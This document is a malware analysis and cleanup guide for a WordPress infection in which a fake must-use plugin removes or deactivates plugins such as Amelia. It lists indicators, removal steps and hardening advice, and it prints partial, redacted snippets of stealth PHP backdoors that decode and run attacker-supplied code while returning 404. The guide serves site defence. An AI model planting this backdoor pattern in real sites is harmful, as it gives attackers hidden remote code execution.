WordPress Plugin Keeps Getting Removed or Deactivated Malware

Quick Answer

This pattern is a high-risk WordPress backdoor and persistence infection. It uses fake plugin components and a malicious file in wp-content/mu-plugins so attacker code runs automatically on every request. The malware includes logic consistent with disabling or removing targeted plugins and also includes stealth PHP backdoors that can reinstall the infection after partial cleanup. Reinstalling Amelia or any other affected plugin will not fix the problem until the malicious mu-plugin, fake plugin files, and backdoors are removed and WordPress plugin state is checked.

What This Threat Pattern Is

This is a WordPress backdoor with plugin tampering and persistence. The representative samples include two large obfuscated PHP files masquerading as plugin components, one of them observed in the must-use plugins directory, plus several very small PHP backdoors designed to execute attacker-supplied code while returning HTTP 404. The large files contain decoded references to WordPress plugin-management functions and options, including strings consistent with deactivate_plugins, get_plugins, is_plugin_active, active_plugins, add_option, and update_option. The code also includes request-driven logic that collects plugin identifiers from user-controlled request data and processes them through helper functions that are consistent with removing or altering targeted plugins.

What Visitors May See

• A plugin such as Amelia keeps getting deactivated after you activate it.
• A plugin appears to reinstall successfully, then disappears or stops working again.
• WordPress admin shows unexpected inactive plugins, delete links, or unstable plugin status.
• A suspicious file appears in /wp-content/mu-plugins/ even though you did not create a custom must-use plugin.
• Legitimate-looking plugin names appear in the file system, but they are unknown to you and not from a trusted vendor.

Screenshot-Based Symptoms

The uploaded screenshots show two visible symptoms that match what hacked site owners often search for. One screenshot shows the WordPress Plugins screen with Amelia highlighted while the reported problem is that the plugin keeps getting removed or will not stay installed. The other screenshot shows a suspicious PHP file named media-patcher-lab.php inside /public_html/wp-content/mu-plugins/ beside legitimate hosting-related mu-plugin files. That second screenshot matters because mu-plugins load automatically and are a common persistence location when malware needs to keep interfering with WordPress behavior such as plugin activation or removal.

Screenshot Findings

• WordPress admin Plugins page with Amelia highlighted by a red arrow; other plugins show Activate/Delete links, and the user context says the plugin keeps getting removed automatically. — This screenshot supports the visible symptom seen by the site owner: a plugin, specifically Amelia, is not remaining installed or active as expected.
• Hosting file manager view of public_html > wp-content > mu-plugins showing media-patcher-lab.php beside hostinger-auto-updates.php and hostinger-preview-domain.php. — This screenshot shows a malicious-looking must-use plugin file placed in mu-plugins, a strong persistence location because files there auto-load on every request.

Why This Usually Means the Site Is Compromised

If your WordPress plugin keeps disappearing, deactivating itself, or failing to stay installed after you reinstall it, that can be a malware symptom rather than a normal plugin conflict. In the representative samples reviewed here, the infection includes a malicious must-use plugin in wp-content/mu-plugins, fake plugin-like PHP components with heavy obfuscation, and small disposable PHP backdoors. The code contains WordPress plugin-management logic consistent with deactivating or removing selected plugins, which fits the reported symptom that Amelia was automatically removed again after reinstall attempts.

Likely Root Cause

The original intrusion point is not proven from the provided samples alone. What is proven is that the site contains malicious PHP posing as trusted plugin code, a must-use loader that auto-executes, and multiple code-execution backdoors. The initial access could have come from a vulnerable plugin, a compromised admin account, a file manager component, reused credentials, or another pre-existing backdoor. The evidence strongly supports an already-compromised WordPress environment rather than a simple Amelia plugin bug.

Why It Keeps Coming Back

It keeps coming back because one of the representative malicious files is placed in wp-content/mu-plugins. Must-use plugins are loaded automatically by WordPress and do not rely on normal activation in the Plugins screen. That means the malware can keep running even if you reinstall the affected plugin. On top of that, the numbered PHP backdoors can accept attacker input, decode PHP, write it to a temporary file, execute it, and delete it, allowing the attacker to restore deleted malware or reapply plugin tampering after partial cleanup. If only Amelia is reinstalled while the mu-plugin and backdoors remain, the malicious logic can simply disable or remove it again.

Files and Directories to Check

• /wp-content/mu-plugins/
• /wp-content/plugins/
• /wp-content/themes/
• /wp-content/uploads/
• /wp-admin/includes/plugin.php
• Any unexpected standalone PHP files in the web root or writable directories, especially short random-looking filenames such as 661c8d20.php, 991c1262.php, or a7749158.php
• Any fake plugin directories or files using names like media-patcher-lab or Dev Scanner Ink
• Any file-manager or elFinder-related paths under /wp-content/plugins/, especially file-manager-advanced/lib/php/elFinderConnector.class.php if present

Removal Targets Inferred From The Samples

• file: /wp-content/mu-plugins/media-patcher-lab.php — Observed malicious must-use plugin loader and likely main persistence point causing plugin tampering.
• component: Fake plugin/component 'Dev Scanner Ink' represented by menu-queue-bit.php — Obfuscated fake plugin with plugin-management and network behavior; remove the full malicious component wherever deployed, not just the sample file.
• file: 661c8d20.php — Hidden disposable PHP backdoor enabling arbitrary code execution via GET/POST.
• file: 991c1262.php — Hidden disposable PHP backdoor enabling arbitrary code execution via GET/POST.
• file: a7749158.php — Hidden disposable PHP backdoor enabling arbitrary code execution via GET/POST.
• component: Any deployed fake plugin/component named 'Media Patcher Lab' outside mu-plugins — Representative sample indicates a broader malicious component family; remove all matching fake plugin files/directories if present.
• component: Any malicious or unexpected file-manager-advanced / elFinder web connector files under wp-content/plugins — The malware explicitly references those paths and may leverage them for access or staging.

Technical Analysis

The representative samples support this threat pattern strongly. The file media-patcher-lab.php presents itself as a benign plugin component but was observed in /wp-content/mu-plugins/, which is important because files there load automatically on every request. The file menu-queue-bit.php also uses a fake plugin header and is heavily obfuscated. Both large PHP samples build arrays of decoded strings and function names at runtime, a common evasion technique. The decoded strings include WordPress plugin-management terms and functions such as deactivate_plugins, get_plugins, is_plugin_active, active_plugins, add_option, update_option, and plugin-related admin includes. In both large samples, the provided snippets show request-driven logic that gathers one or more plugin identifiers from $_REQUEST and passes them into helper routines consistent with tampering, deactivation, or removal. That is highly relevant to the user-visible symptom that a plugin like Amelia will not remain installed or active. The samples also reference wp-content/mu-plugins directly and include paths related to file-manager and elFinder-style connectors. That does not by itself prove the original intrusion vector, but it does show the malware is aware of or may abuse those paths. Separately, the three small PHP files are clear stealth backdoors. Each one checks for a specific request parameter, base64-decodes attacker-supplied PHP, writes it to a temporary file, includes it, deletes it, and returns HTTP 404. That behavior is not legitimate WordPress behavior and provides arbitrary code execution while trying to stay hidden in logs and casual testing. Observed SHA-256 values from the representative samples include 6a7c18f6d3b2d4c16e4586ba9ab14ee8591cf18e93b1a5d50cde07859e44fabb for menu-queue-bit.php, 81e784f9a5cbc2a2fd0fd7bc255c3276ce1a6cf299ba13bd2de7a475cec31b16 for media-patcher-lab.php, e2092aa28dea5a457404d6fb6768333309f19748c8a264153efdb329f8857cc1 for 661c8d20.php, 6f046617114d75f87fdec801cfce27fc16f0c031c348fbf60e1330f0497678e6 for 991c1262.php, and dde00d8c7ab24ff69988faf80d28d304c248a3de2604ce385479984f31cd0bba for a7749158.php. Public domains visible in the representative samples include web-architects-ltd-.com and code-elements.com, used in fake plugin headers and URL strings. Those names should be treated as suspicious in this context, not as proof of legitimate plugin origin.

Attack Chain

1. Attacker gains code execution on the WordPress site through an unknown initial access path.
2. Malicious PHP is placed as a fake plugin component and at least one must-use plugin file is installed in /wp-content/mu-plugins/.
3. The mu-plugin auto-loads on every request and initializes obfuscated helper logic.
4. The malware reads request parameters and identifies one or more target plugins to alter, deactivate, or remove.
5. Plugin state and possibly plugin files are tampered with, causing symptoms such as Amelia not staying installed or active.
6. Small stealth backdoors remain available to re-run attacker code, restore deleted malware, or reapply plugin tampering after incomplete cleanup.

Evidence Notes

• A suspicious file named media-patcher-lab.php was observed in /wp-content/mu-plugins/ in the screenshot evidence.
• The user-reported symptom was that a plugin was automatically removed even when they tried to reinstall it.
• Both large representative PHP samples use fake plugin headers and heavy obfuscation.
• Representative code strings include WordPress plugin-management functions and option handling references.
• Representative snippets show request-controlled plugin identifiers being processed by helper routines consistent with plugin tampering.
• Three additional representative PHP files act as hidden disposable backdoors that execute base64-decoded PHP from GET or POST input and then return 404.

Representative Malware Samples

FILE: media-patcher-lab.php

Why it matters: Fake must-use plugin with benign-looking header, placed in mu-plugins for automatic execution on every request.

/** Plugin Name: Media Patcher Lab ... Author: Code Elements ... */

FILE: menu-queue-bit.php

Why it matters: Fake plugin header disguising a heavily obfuscated malware component as a backup/restore utility.

/** Plugin Name: Dev Scanner Ink ... Description: Provides scheduled backup and restore functionality ... */

FILE: menu-queue-bit.php

Why it matters: Obfuscated logic reads plugin identifiers from request data and passes them into helper routines consistent with plugin deactivation/removal.

$target = isset($_REQUEST[...]) ? $_REQUEST[...] : ...; ... foreach ($targets as $plugin) { if (helper_check($plugin)) { helper_remove($plugin); } }

FILE: 661c8d20.php

Why it matters: Tiny disposable backdoor that decodes attacker-supplied PHP, writes it to a temp file, includes it, and deletes it while returning 404.

if (array_key_exists('REDACTED_PARAM', $_POST) || array_key_exists('REDACTED_PARAM', $_GET)) { $payload = base64_decode(...); $tmp = tempnam(sys_get_temp_dir(), 'wp_'); file_put_contents($tmp, '<?php ' . $payload); @include_once($tmp); @unlink($tmp); } http_response_code(404);

FILE: 991c1262.php

Why it matters: Same backdoor family with a different trigger parameter, indicating multiple redundant re-entry points.

$payload = base64_decode($_REQUEST['REDACTED_PARAM']); $tmp = tempnam(sys_get_temp_dir(), 'wp_'); file_put_contents($tmp, '<?php ' . $payload); @include_once($tmp); @unlink($tmp);

FILE: a7749158.php

Why it matters: Same stealth pattern: execute transient PHP code and mask activity with 404 responses.

try { ... @include_once($tmp); @unlink($tmp); } catch (Throwable $e) { http_response_code(404); }

Indicators of Compromise (Public-Safe)

• 6a7c18f6d3b2d4c16e4586ba9ab14ee8591cf18e93b1a5d50cde07859e44fabb
• 81e784f9a5cbc2a2fd0fd7bc255c3276ce1a6cf299ba13bd2de7a475cec31b16
• e2092aa28dea5a457404d6fb6768333309f19748c8a264153efdb329f8857cc1
• 6f046617114d75f87fdec801cfce27fc16f0c031c348fbf60e1330f0497678e6
• dde00d8c7ab24ff69988faf80d28d304c248a3de2604ce385479984f31cd0bba
• web-architects-ltd-[.]com
• code-elements[.]com
• /wp-content/mu-plugins/media-patcher-lab[.]php
• abe38ff7
• f8a65af7
• 4f081bee

Removal Strategy

Because this infection has persistence and backdoor behavior, cleanup should focus on removing the malicious execution points first, then checking WordPress plugin state and other reinfection paths. Do not treat this as a normal plugin reinstall problem.

Manual Removal Protocol

1. Take a full file and database backup for forensic reference before changing anything.
2. Put the site in maintenance mode if possible and block direct public access during cleanup.
3. Inspect /wp-content/mu-plugins/ and remove malicious files that do not belong there, including the observed representative sample media-patcher-lab.php if present on the infected site.
4. Locate and remove the full malicious component represented by menu-queue-bit.php, not just the single file sample. If it exists inside a fake plugin folder, remove the entire malicious directory after verifying it is not legitimate.
5. Search the entire webroot for small disposable backdoors matching the representative pattern: short random PHP filenames, base64_decode, tempnam, sys_get_temp_dir, file_put_contents, include_once, unlink, and forced HTTP 404 responses.
6. Remove the representative backdoor files 661c8d20.php, 991c1262.php, and a7749158.php wherever found.
7. Search for additional copies of the same backdoor family using code pattern matching, not just filename matching.
8. Review /wp-content/plugins/ for unexpected file-manager or elFinder connector files, especially if you do not intentionally use such a plugin. Remove or replace compromised components with clean vendor copies.
9. Check the active_plugins option and other plugin-related options in the database for malicious tampering after the malicious files are removed.
10. Reinstall affected legitimate plugins such as Amelia only after the malicious mu-plugin and backdoors are gone.
11. Replace WordPress core files, reinstall all plugins from trusted sources, and replace themes with clean copies where possible.
12. Rotate all WordPress admin passwords, hosting passwords, SFTP/SSH credentials, and database credentials after cleanup.
13. Review administrator accounts and remove any rogue users.
14. Check scheduled tasks, wp-cron behavior, and any custom auto-loader files for malicious persistence.
15. Monitor the site after cleanup for renewed plugin deactivation, recreated files, or unexpected outbound requests.

Hardening Checklist

• Keep wp-content/mu-plugins under regular review because malware often hides there to auto-load.
• Remove unused plugins and especially remove file manager plugins if they are not essential.
• Restrict file write access where practical and disable direct plugin/theme editing from wp-admin.
• Use strong unique passwords and enable MFA for WordPress and hosting accounts.
• Keep WordPress core, plugins, themes, PHP, and server software fully patched.
• Add file integrity monitoring for wp-content and alerts for new PHP files in uploads or unexpected directories.
• Review least-privilege access for hosting, SFTP, SSH, and WordPress administrator roles.
• Use a web application firewall and malware scanning, but do not rely on them alone for cleanup.
• Audit logs for suspicious logins, file uploads, plugin installs, and admin actions around the first known symptoms.
• Maintain clean off-site backups so recovery does not depend on an already-infected file set.

FAQ

Can malware really remove or deactivate a WordPress plugin automatically?

Yes. In this pattern, the representative code contains plugin-management logic and request-driven routines consistent with disabling or removing selected plugins. A malicious mu-plugin can run on every request and keep changing plugin state even after you reinstall the legitimate plugin.

Why is the mu-plugins folder important here?

Files in wp-content/mu-plugins load automatically and are not managed like normal plugins. That makes mu-plugins a strong persistence location. If malware is there, reinstalling Amelia or another plugin will not stop the malicious code from running.

Is this definitely an Amelia vulnerability?

No. The evidence supports plugin tampering affecting Amelia, not that Amelia itself caused the infection. The root cause is not proven from these samples alone.

Could this just be a plugin conflict instead of malware?

Not based on the provided evidence. The observed files are obfuscated, impersonate plugin components, include WordPress plugin-management logic, and are accompanied by stealth code-execution backdoors. That is malware behavior, not a normal compatibility conflict.

What should I remove first?

Start with malicious persistence points: suspicious files in wp-content/mu-plugins, the fake plugin component represented by menu-queue-bit.php, and the small numbered PHP backdoors. After that, review plugin directories and the database for tampered plugin state.

Do I need to check the database too?

Yes. The representative code references WordPress options and plugin state handling. After file cleanup, review active_plugins and related options for malicious changes, and confirm the affected legitimate plugins can remain installed and active.

What if I delete only the suspicious plugin file I can see?

That is often not enough. This pattern includes multiple persistence points. If the mu-plugin remains, or if one of the numbered backdoors is still present, the attacker can restore the infection or repeat plugin tampering.

Proof statement: Based on representative malware samples and screenshots collected during real WordPress cleanup work by MD Pabel, this threat pattern is supported by observed mu-plugin persistence, fake plugin components, request-driven plugin tampering logic, and stealth PHP backdoors that enable re-entry and reinfection.

Confidence: Root cause low, persistence high, screenshot read high, IOCs high.